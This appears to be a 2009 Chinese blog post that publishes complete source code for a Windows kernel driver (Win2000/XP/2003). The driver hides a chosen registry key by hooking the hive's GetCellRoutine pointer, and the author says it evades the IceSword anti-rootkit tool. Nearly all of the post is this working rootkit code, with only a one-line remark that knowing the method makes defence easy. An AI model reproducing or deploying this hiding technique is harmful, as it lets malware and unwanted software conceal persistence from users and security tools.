一段隐藏注册表项的代码

  •   2009-07-28/13:35
  • 发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

    以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

    原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

    #include <ntddk.h>

    #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

    #define CM_KEY_INDEX_ROOT      0x6972         // ir
    #define CM_KEY_INDEX_LEAF      0x696c         // il
    #define CM_KEY_FAST_LEAF       0x666c         // fl
    #define CM_KEY_HASH_LEAF       0x686c         // hl

    // 一些CM的数据结构,只列出用到的开头部分
    #pragma pack(1)
    typedef struct _CM_KEY_NODE {
           USHORT Signature;
           USHORT Flags;
           LARGE_INTEGER LastWriteTime;
           ULONG Spare;               // used to be TitleIndex
           HANDLE Parent;
           ULONG SubKeyCounts[2];     // Stable and Volatile
           HANDLE SubKeyLists[2];     // Stable and Volatile
           // ...
    } CM_KEY_NODE, *PCM_KEY_NODE;

    typedef struct _CM_KEY_INDEX {
           USHORT Signature;
           USHORT Count;
           HANDLE List[1];
    } CM_KEY_INDEX, *PCM_KEY_INDEX;

    typedef struct _CM_KEY_BODY {
           ULONG Type;                // "ky02"
           PVOID KeyControlBlock;
           PVOID NotifyBlock;
           PEPROCESS Process;         // the owner process
           LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
    } CM_KEY_BODY, *PCM_KEY_BODY;

    typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

    typedef struct _HHIVE {
           ULONG Signature;
           PGET_CELL_ROUTINE GetCellRoutine;
           // ...
    } HHIVE, *PHHIVE;
    #pragma pack()

    // 需隐藏的主键名
    WCHAR g_HideKeyName[] = L"";

    PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
    PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

    PCM_KEY_NODE g_HideNode = NULL;
    PCM_KEY_NODE g_LastNode = NULL;

    // 打开指定名字的Key
    HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
    {
           NTSTATUS status;
           UNICODE_STRING uKeyName;
           OBJECT_ATTRIBUTES oa;
           HANDLE hKey;

           RtlInitUnicodeString(&uKeyName, pwcsKeyName);
           InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
           status = ZwOpenKey(&hKey, KEY_READ, &oa);
           if (!NT_SUCCESS(status))
           {
               DbgPrint("ZwOpenKey Failed: %lx\n", status);
               return NULL;
           }

           return hKey;
    }

    // 获取指定Key句柄的KeyControlBlock
    PVOID GetKeyControlBlock(HANDLE hKey)
    {
           NTSTATUS status;
           PCM_KEY_BODY KeyBody;
           PVOID KCB;

           if (hKey == NULL) return NULL;

           // 由Key句柄获取对象体
           status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
           if (!NT_SUCCESS(status))
           {
               DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
               return NULL;
           }

           // 对象体中含有KeyControlBlock
           KCB = KeyBody->KeyControlBlock;
           DbgPrint("KeyControlBlock = %lx\n", KCB);

           ObDereferenceObject(KeyBody);

           return KCB;
    }

    // 获取父键的最后一个子键的节点
    PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
    {
           // 获取父键的节点
           PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
           // 获取子键的索引
           PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

           DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

           // 如果为根(二级)索引,获取最后一个索引
           if (Index->Signature == CM_KEY_INDEX_ROOT)
           {
               Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
               DbgPrint("Index = %lx\n", Index);
           }

           if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
           {
               // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
               return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
           }
           else
           {
               // 一般叶索引,返回最后的节点
               return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           }
    }

    // GetCell例程的钩子函数
    PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
    {
           // 调用原函数
           PVOID pRet = g_pGetCellRoutine(Hive, Cell);
           if (pRet)
           {
               // 返回的是需要隐藏的节点
               if (pRet == g_HideNode)
               {
                   DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
                   // 查询、保存并返回其父键的最后一个子键的节点
                   pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
                   DbgPrint("g_LastNode = %lx\n", g_LastNode);
                   // 隐藏的正是最后一个节点,返回空值
                   if (pRet == g_HideNode) pRet = NULL;
               }
               // 返回的是先前保存的最后一个节点
               else if (pRet == g_LastNode)
               {
                   DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
                   // 清空保存值,并返回空值
                   pRet = g_LastNode = NULL;
               }
           }
           return pRet;
    }

    NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
    {
           DbgPrint("DriverUnload()\n");
           // 解除挂钩
           if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
           return STATUS_SUCCESS;
    }

    NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
    {
           ULONG BuildNumber;
           ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
           ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
           HANDLE hKey;
           PVOID KCB, Hive;

           DbgPrint("DriverEntry()\n");

           pDrvObj->DriverUnload = DriverUnload;

           // 查询BuildNumber
           if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
           DbgPrint("BuildNumber = %d\n", BuildNumber);

           // KeyControlBlock结构各版本略有不同
           // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
           switch (BuildNumber)
           {
               case 2195:     // Win2000
                   KeyHiveOffset = 0xc;
                   KeyCellOffset = 0x10;
                   break;
               case 2600:     // WinXP
               case 3790:     // Win2003
                   KeyHiveOffset = 0x10;
                   KeyCellOffset = 0x14;
                   break;
               default:
                   return STATUS_NOT_SUPPORTED;
           }

           // 打开需隐藏的键
           hKey = OpenKeyByName(g_HideKeyName);
           // 获取该键的KeyControlBlock
           KCB = GetKeyControlBlock(hKey);
           if (KCB)
           {
               // 由KCB得到Hive
               PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
               // GetCellRoutine在KCB中,保存原地址
               g_ppGetCellRoutine = &Hive->GetCellRoutine;
               g_pGetCellRoutine = Hive->GetCellRoutine;
               DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
               // 获取需隐藏的节点并保存
               g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
               // 挂钩GetCell例程
               Hive->GetCellRoutine = MyGetCellRoutine;
           }
           ZwClose(hKey);

           return STATUS_SUCCESS;
    }


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多